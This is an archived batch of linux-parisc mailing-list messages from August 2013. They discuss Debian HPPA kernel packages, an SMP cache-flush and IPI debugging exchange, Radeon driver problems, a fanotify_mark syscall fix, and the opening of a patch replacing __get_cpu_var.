In-Reply-To: <1375397525.2070.17.camel@dabdike>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 14 Aug 2013 23:44:06.0621 (UTC) FILETIME=[2A4568D0:01CE9948]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5266
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5266>

On 1-Aug-13, at 6:52 PM, James Bottomley wrote:

> On Thu, 2013-08-01 at 18:39 -0400, John David Anglin wrote:
>> On 1-Aug-13, at 6:20 PM, Helge Deller wrote:
>>
>>> Hi Dave,
>>>
>>> On 07/30/2013 12:46 AM, John David Anglin wrote:
>>>> The following kernel packages are now in the parisc-linux.org
>>>> archive:
>>>>
>>>> linux-image-3.10-1-parisc-smp_3.10.3-1_hppa.deb
>>>> linux-image-3.10-1-parisc64-smp_3.10.3-1_hppa.deb
>>>> linux-image-3.10-1-parisc64_3.10.3-1_hppa.deb
>>>> linux-image-3.10-1-parisc_3.10.3-1_hppa.deb
>>>
>>> That's fantastic!
>>> This brings us one big step further to being able to build a real
>>> debian-unstable-installer boot CD.
>>>
>>> I'm still hoping the C8000 patches I pushed for inclusion into 3.11
>>> will then
>>> show up in stable 3.10 series soon as well. If that happens we will
>>> have a kernel
>>> which should boot on all machines - including the c8000.
>>
>>
>> I have bootstrap tested the linux-image-3.10-1-parisc64-
>> smp_3.10.3-1_hppa.deb package.  We'll
>> have to see if 3.10 will be the Debian choice for the next release.
>>
>> As I mentioned in private, I have found that flush_cache_all() is the
>> principal problem causing random
>> segmentation faults on SMP systems.
>
> That would tend to indicate the architectural flush code is wrong: it
> isn't flushing all as it should be.


After looking at this, I think there is an irq problem.  It looks like  
we loose IPI
interrupts on occasion, or there is a sequencing issue in processing  
them.
In particular, it would be bad if we simultaneously tried to purge  
both theTLB
and cache at the same time.  However, this isn't the whole answer.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: New Debian Kernel Packages
Date: Wed, 14 Aug 2013 17:38:47 -0700
Lines: 72
Approved: news@gmane.org
Message-ID: <1376527127.2028.67.camel@dabdike.int.hansenpartnership.com>
References: <BLU0-SMTP89A9F5D677CA80946A5DB097550@phx.gbl>
	 <51FADF39.4020505@gmx.de> <BLU0-SMTP3529F28468423082C0A26797500@phx.gbl>
	 <1375397525.2070.17.camel@dabdike>
	 <BLU0-SMTP4320CF464D6486AAAC10C97450@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1376527129 12207 80.91.229.3 (15 Aug 2013 00:38:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Aug 2013 00:38:49 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 15 02:38:51 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1V9laV-0005zR-1d
	for glpp-linux-parisc@plane.gmane.org; Thu, 15 Aug 2013 02:38:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758523Ab3HOAit (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 14 Aug 2013 20:38:49 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35237 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1758349Ab3HOAit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 14 Aug 2013 20:38:49 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 79F898EE101;
	Wed, 14 Aug 2013 17:38:48 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id A71P5oLfjMLk; Wed, 14 Aug 2013 17:38:48 -0700 (PDT)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 087B98EE0DF;
	Wed, 14 Aug 2013 17:38:47 -0700 (PDT)
In-Reply-To: <BLU0-SMTP4320CF464D6486AAAC10C97450@phx.gbl>
X-Mailer: Evolution 3.8.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5267>

On Wed, 2013-08-14 at 19:43 -0400, John David Anglin wrote:
> On 1-Aug-13, at 6:52 PM, James Bottomley wrote:
> 
> > On Thu, 2013-08-01 at 18:39 -0400, John David Anglin wrote:
> >> On 1-Aug-13, at 6:20 PM, Helge Deller wrote:
> >>
> >>> Hi Dave,
> >>>
> >>> On 07/30/2013 12:46 AM, John David Anglin wrote:
> >>>> The following kernel packages are now in the parisc-linux.org
> >>>> archive:
> >>>>
> >>>> linux-image-3.10-1-parisc-smp_3.10.3-1_hppa.deb
> >>>> linux-image-3.10-1-parisc64-smp_3.10.3-1_hppa.deb
> >>>> linux-image-3.10-1-parisc64_3.10.3-1_hppa.deb
> >>>> linux-image-3.10-1-parisc_3.10.3-1_hppa.deb
> >>>
> >>> That's fantastic!
> >>> This brings us one big step further to being able to build a real
> >>> debian-unstable-installer boot CD.
> >>>
> >>> I'm still hoping the C8000 patches I pushed for inclusion into 3.11
> >>> will then
> >>> show up in stable 3.10 series soon as well. If that happens we will
> >>> have a kernel
> >>> which should boot on all machines - including the c8000.
> >>
> >>
> >> I have bootstrap tested the linux-image-3.10-1-parisc64-
> >> smp_3.10.3-1_hppa.deb package.  We'll
> >> have to see if 3.10 will be the Debian choice for the next release.
> >>
> >> As I mentioned in private, I have found that flush_cache_all() is the
> >> principal problem causing random
> >> segmentation faults on SMP systems.
> >
> > That would tend to indicate the architectural flush code is wrong: it
> > isn't flushing all as it should be.
> 
> 
> After looking at this, I think there is an irq problem.  It looks like  
> we loose IPI
> interrupts on occasion,

I don't really think this can be the case.  Our flushes are all done via
the generic function on_each_cpu() with wait set to true.  If we were
losing IPIs, this would cause the wait to wait forever and you should
see a system hang (or at least one CPU spinning in cpu_relax while it
waits).  on_each_cpu() uses a list to process and store invocations, so
even two simultaneous calls to the flush functions should be strictly
sequenced on each cpu.

>  or there is a sequencing issue in processing  
> them.
> In particular, it would be bad if we simultaneously tried to purge  
> both theTLB
> and cache at the same time.  However, this isn't the whole answer.

I can't really see how: the architectural TLB flush will, of course,
purge TLBs in the tmpalias region, but they'll just refill on the next
access for a flush, so I could see simultaneous TLB flush and cache
flush slowing each other down, but I can't see a problem arising, unless
I've missed something?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PCI & AGP video options
Date: Fri, 16 Aug 2013 09:13:48 +0400
Lines: 40
Approved: news@gmane.org
Message-ID: <40141376630028@web3e.yandex.ru>
References: <199671375961574@web3d.yandex.ru> <52055C9E.9010503@gmx.de> <EE8284CE-E16F-48FA-BB55-D680CFC39484@p0n4ik.tk> <BLU0-SMTP848CBA886F0C5E2BB6645697590@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1376630446 26592 80.91.229.3 (16 Aug 2013 05:20:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 Aug 2013 05:20:46 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 16 07:20:48 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VACSu-0006hn-2Z
	for glpp-linux-parisc@plane.gmane.org; Fri, 16 Aug 2013 07:20:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751178Ab3HPFUr convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Aug 2013 01:20:47 -0400
Original-Received: from forward7.mail.yandex.net ([77.88.61.37]:46404 "EHLO
	forward7.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751235Ab3HPFUq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Aug 2013 01:20:46 -0400
X-Greylist: delayed 414 seconds by postgrey-1.27 at vger.kernel.org; Fri, 16 Aug 2013 01:20:46 EDT
Original-Received: from web3e.yandex.ru (web3e.yandex.ru [77.88.60.145])
	by forward7.mail.yandex.net (Yandex) with ESMTP id D063B1C170F;
	Fri, 16 Aug 2013 09:13:49 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost.localdomain [127.0.0.1])
	by web3e.yandex.ru (Yandex) with ESMTP id 0059D82004B;
	Fri, 16 Aug 2013 09:13:48 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15]) by web3e.yandex.ru with HTTP;
	Fri, 16 Aug 2013 09:13:48 +0400
In-Reply-To: <BLU0-SMTP848CBA886F0C5E2BB6645697590@phx.gbl>
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5268
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5268>

10.08.2013, 18:07, "John David Anglin" <dave.anglin@bell.net>:
> On 10-Aug-13, at 2:00 AM, gnidorah@p0n4ik.tk wrote:
>
>>> =9AI'm not sure if it makes much sense to use a PA-RISC
>>> =9Amachine as desktop machine nowadays. Every Intel-based
>>> =9Amachine is faster, cheaper, better supported (graphic cards)
>>> =9Aand uses less power...
>> =9AGot your point.
>> =9AThat's true. Still would be nice to use workstation model
>> =9Aas workstation.
>
> Yes, it's a bit of a cop out.
>
> I still tend to think the bug is in the firmware load. =9AIs there an=
y
> external way to confirm that it loads
> correctly (e.g., a led on card)? =9AThe error indicates that the comm=
and
> processor (CP) isn't working.
>
> There is a manual "Radeon R5xx Acceleration" that might help debug.
>
> Dave
> --
> John David Anglin dave.anglin@bell.net

Dave,
=46orgive me for being silent.

Unfortunately, i'm not seeing a presence of any 'works ok' marker.

Thanks for the manual! I've only read a tech note on drm radeon interna=
ls:
http://www.botchco.com/agd5f/?p=3D50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Fwd: [PATCH] parisc: fix LMMIO mismatch between PAT length and MASK register
Date: Fri, 16 Aug 2013 09:26:40 +0400
Lines: 50
Approved: news@gmane.org
Message-ID: <56141376630800@web3e.yandex.ru>
References: <55021376630755@web3e.yandex.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=koi8-r
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1376630804 31688 80.91.229.3 (16 Aug 2013 05:26:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 Aug 2013 05:26:44 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 16 07:26:45 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VACYf-0003Jj-4s
	for glpp-linux-parisc@plane.gmane.org; Fri, 16 Aug 2013 07:26:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751386Ab3HPF0n convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Aug 2013 01:26:43 -0400
Original-Received: from forward10.mail.yandex.net ([77.88.61.49]:41501 "EHLO
	forward10.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751213Ab3HPF0n (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Aug 2013 01:26:43 -0400
Original-Received: from web3e.yandex.ru (web3e.yandex.ru [77.88.60.145])
	by forward10.mail.yandex.net (Yandex) with ESMTP id 0077B102026C
	for <linux-parisc@vger.kernel.org>; Fri, 16 Aug 2013 09:26:40 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost.localdomain [127.0.0.1])
	by web3e.yandex.ru (Yandex) with ESMTP id 71438820045;
	Fri, 16 Aug 2013 09:26:40 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15]) by web3e.yandex.ru with HTTP;
	Fri, 16 Aug 2013 09:26:40 +0400
In-Reply-To: <55021376630755@web3e.yandex.ru>
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5269
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5269>

=46orgot CC to the list

16.08.2013, 09:25, "Alex Ivanov" <gnidorah@p0n4ik.tk>:

15.08.2013, 03:36, "John David Anglin" <dave.anglin@bell.net>:

> =9AOn 10-Aug-13, at 3:56 PM, Alex Ivanov wrote:
>>> =9A=9AI've tried this one and many other things (except the messing=
 with
>>> =9A=9Aendianness) so far. The error is
>>> =9A=9Astill there.
> =9AAlex, I don't know which distro your using but I built and uploade=
d a
> =9Anew debian build of mesa and some packages it
> =9Adepends on to the parisc archive. =9AMesa and the open source ATI =
driver
> =9Abuild without problems on parisc. =9AHowever, this
> =9Athread suggests we need to go backwards to resolve the endian issu=
es:
> =9Ahttp://forums.gentoo.org/viewtopic-p-7128758.html
>
> =9AI have a RV100 in my rp3440 that I may play a bit with if I get a
> =9Achance.
>
> =9AWhile this might be a kernel issue, I suggest that the bug needs t=
o be
> =9Afiled on the relevant distro package list and
> =9Amaybe on the package source list as well.
>
> =9ADave
> =9A--
> =9AJohn David Anglin dave.anglin@bell.net

Dave,

I'm on a Debian.
The problem is that the same issue happens with framebuffer console too
(new kernels use radeon drm for this purpose, instead of radeonfb), whi=
ch
resides in kernel.
The console comes unnacelerated and is the same slow as X.
So yes, this seems to be a kernel issue.
-------- =FA=C1=D7=C5=D2=DB=C5=CE=C9=C5 =D0=C5=D2=C5=D3=D9=CC=C1=C5=CD=CF=
=C7=CF =D3=CF=CF=C2=DD=C5=CE=C9=D1 --------
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex Ivanov <gnidorah@p0n4ik.tk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: State of the PA-RISC/HPPA port (August 2013)
Date: Fri, 16 Aug 2013 15:46:41 +0400
Lines: 20
Approved: news@gmane.org
Message-ID: <520731376653601@web20d.yandex.ru>
References: <20130803204119.GA2392@halden.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1376653604 6070 80.91.229.3 (16 Aug 2013 11:46:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 16 Aug 2013 11:46:44 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 16 13:46:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VAIUP-0007dA-OD
	for glpp-linux-parisc@plane.gmane.org; Fri, 16 Aug 2013 13:46:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755017Ab3HPLqp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 16 Aug 2013 07:46:45 -0400
Original-Received: from forward5.mail.yandex.net ([77.88.46.21]:35968 "EHLO
	forward5.mail.yandex.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754919Ab3HPLqo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 16 Aug 2013 07:46:44 -0400
Original-Received: from web20d.yandex.ru (web20d.yandex.ru [77.88.46.50])
	by forward5.mail.yandex.net (Yandex) with ESMTP id 23AF21201C0E;
	Fri, 16 Aug 2013 15:46:42 +0400 (MSK)
Original-Received: from 127.0.0.1 (localhost.localdomain [127.0.0.1])
	by web20d.yandex.ru (Yandex) with ESMTP id B07C661500DE;
	Fri, 16 Aug 2013 15:46:41 +0400 (MSK)
Original-Received: from relay.gero.in (relay.gero.in [77.37.212.15]) by web20d.yandex.ru with HTTP;
	Fri, 16 Aug 2013 15:46:41 +0400
In-Reply-To: <20130803204119.GA2392@halden.box>
X-Mailer: Yamail [ http://yandex.ru ] 5.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5270
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5270>

04.08.2013, 00:41, "Helge Deller" <deller@gmx.de>:
> I've prepared a bootable image and some instructions on how to install
> debian-unstable from our repository, but you should only try this if you are a
> linux/parisc expert.  Brave people will find those instructions here:
> http://wiki.parisc-linux.org/Debian_Ports_Installation For all others I'd
> suggest to wait until we have the debian-installer finished, which is still one
> of my top-priorities.

Helge,

Thanks for the image and an updated guide. Now i was able to deploy
from stratch in minutes (not counting the time spent on debootstrap process).
No more pokering with Gentoo live cd for doing debootstrap, like i did before :-)

Guys, thank you for your hard work!
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: fanotify_mark()
Date: Mon, 26 Aug 2013 01:46:57 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20130826014657.05f4c466@marga.jer-c2.orkz.net>
References: <20130813154958.7514d525@marga.jer-c2.orkz.net>
	<520AA546.2070503@gmx.de>
	<20130814005400.3766f068@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1377474423 24889 80.91.229.3 (25 Aug 2013 23:47:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 25 Aug 2013 23:47:03 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 26 01:47:05 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VDk1Q-0006vS-Pb
	for glpp-linux-parisc@plane.gmane.org; Mon, 26 Aug 2013 01:47:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751787Ab3HYXrC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 25 Aug 2013 19:47:02 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:56863 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751246Ab3HYXrB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 25 Aug 2013 19:47:01 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 8A83F33EA75
	for <linux-parisc@vger.kernel.org>; Sun, 25 Aug 2013 23:47:00 +0000 (UTC)
In-Reply-To: <20130814005400.3766f068@marga.jer-c2.orkz.net>
X-Mailer: Claws Mail 3.9.2-dirty (GTK+ 2.24.17; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5271>

On Wed, 14 Aug 2013 00:54:00 +0200
Jeroen Roovers <jer@gentoo.org> wrote:

> On Tue, 13 Aug 2013 23:29:42 +0200
> Helge Deller <deller@gmx.de> wrote:
> 
> > > [1] https://bugs.gentoo.org/show_bug.cgi?id=480268
> > 
> > In the Linux kernel we use the compat layer for 32bit syscalls on
> > 64bit kernel: arch/parisc/kernel/syscall_table.S:
> > ENTRY_COMP(fanotify_mark) which means we call (with 32bit userspace
> > on 64bit kernel):
> > fs/notify/fanotify/fanotify_user.c:COMPAT_SYSCALL_DEFINE6(fanotify_mark,
> > int, fanotify_fd, unsigned int, flags, __u32, mask0, __u32, mask1,
> > int, dfd, const char  __user *, pathname) which has 6 parameters.
> > 
> > So, I assume you need one more "i" in this line here (change i:iiiis
> > -> i:iiiiis {to 5 i's}):
> 
> I tried that too with a similarly bad result

After the 5 i patch =and= recompiling fatrace, fanotify_mark() now works
properly. Which brings me no closer to systemd support on HPPA, I'm
afraid, but at least systemd now installs properly. I'm working on
writing up another e-mail about the next hurdle[1] systemd presents us.


     jer


[1] Sneak preview: https://bugs.gentoo.org/show_bug.cgi?id=482214
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [guv v2 29/31] parisc: Replace __get_cpu_var uses
Date: Mon, 26 Aug 2013 20:56:17 +0000
Lines: 125
Approved: news@gmane.org
Message-ID: <00000140bc69ace7-f1bfaae1-ce5a-4c09-9635-340e29d3c6c8-000000@email.amazonses.com>
References: <20130826204351.725357339@linux.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1377551230 22445 80.91.229.3 (26 Aug 2013 21:07:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 26 Aug 2013 21:07:10 +0000 (UTC)
Cc: akpm@linuxfoundation.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Tejun Heo <tj@kernel.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Aug 26 23:07:11 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1VE40D-0008AO-Mi
	for glka-linux-arch@plane.gmane.org; Mon, 26 Aug 2013 23:07:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752237Ab3HZVHI (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 26 Aug 2013 17:07:08 -0400
Original-Received: from a9-54.smtp-out.amazonses.com ([54.240.9.54]:46741 "EHLO
	a9-54.smtp-out.amazonses.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751650Ab3HZVHI (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Mon, 26 Aug 2013 17:07:08 -0400
X-Greylist: delayed 649 seconds by postgrey-1.27 at vger.kernel.org; Mon, 26 Aug 2013 17:07:07 EDT
User-Agent: quilt/0.50-1
Original-Cc: linux-arch@vger.kernel.org
Original-Cc: Steven Rostedt <srostedt@redhat.com>
Original-Cc: linux-kernel@vger.kernel.org
X-SES-Outgoing: 2013.08.26-54.240.9.54
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:19220 gmane.linux.ports.parisc:5272 gmane.linux.kernel:1551002
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/19220>

__get_cpu_var() is used for multiple purposes in the kernel source. One of them is
address calculation via the form &__get_cpu_var(x). This calculates the address for
the instance of the percpu variable of the current processor based on an offset.

Others usage cases are for storing and retrieving data from the current processors percpu area.
__get_cpu_var() can be used as an lvalue when writing data or on the right side of an assignment.

__get_cpu_var() is defined as :


#define __get_cpu_var(var) (*this_cpu_ptr(&(var)))



__get_cpu_var() always only does a address determination. However, store and retrieve operations
could use a segment prefix (or global register on other platforms) to avoid the address calculation.

this_cpu_write() and this_cpu_read() can directly take an offset into a percpu area and use
optimized assembly code to read and write per cpu variables.


This patch converts __get_cpu_var into either and explicit address calculation using this_cpu_ptr()
or into a use of this_cpu operations that use the offset. Thereby address calcualtions are avoided
and less registers are used when code is generated.

At the end of the patchset all uses of __get_cpu_var have been removed so the macro is removed too.

The patchset includes passes over all arches as well. Once these operations are used throughout then
specialized macros can be defined in non -x86 arches as well in order to optimize per cpu access by
f.e. using a global register that may be set to the per cpu base.




Transformations done to __get_cpu_var()


1. Determine the address of the percpu instance of the current processor.

	DEFINE_PER_CPU(int, y);
	int *x = &__get_cpu_var(y);

    Converts to

	int *x = this_cpu_ptr(&y);


2. Same as #1 but this time an array structure is involved.

	DEFINE_PER_CPU(int, y[20]);
	int *x = __get_cpu_var(y);

    Converts to

	int *x = this_cpu_ptr(y);


3. Retrieve the content of the current processors instance of a per cpu variable.

	DEFINE_PER_CPU(int, u);
	int x = __get_cpu_var(y)

   Converts to

	int x = __this_cpu_read(y);


4. Retrieve the content of a percpu struct

	DEFINE_PER_CPU(struct mystruct, y);
	struct mystruct x = __get_cpu_var(y);

   Converts to

	memcpy(this_cpu_ptr(&y), x, sizeof(x));


5. Assignment to a per cpu variable

	DEFINE_PER_CPU(int, y)
	__get_cpu_var(y) = x;

   Converts to

	this_cpu_write(y, x);


6. Increment/Decrement etc of a per cpu variable

	DEFINE_PER_CPU(int, y);
	__get_cpu_var(y)++

   Converts to

	this_cpu_inc(y)



Index: linux/arch/parisc/lib/memcpy.c
===================================================================
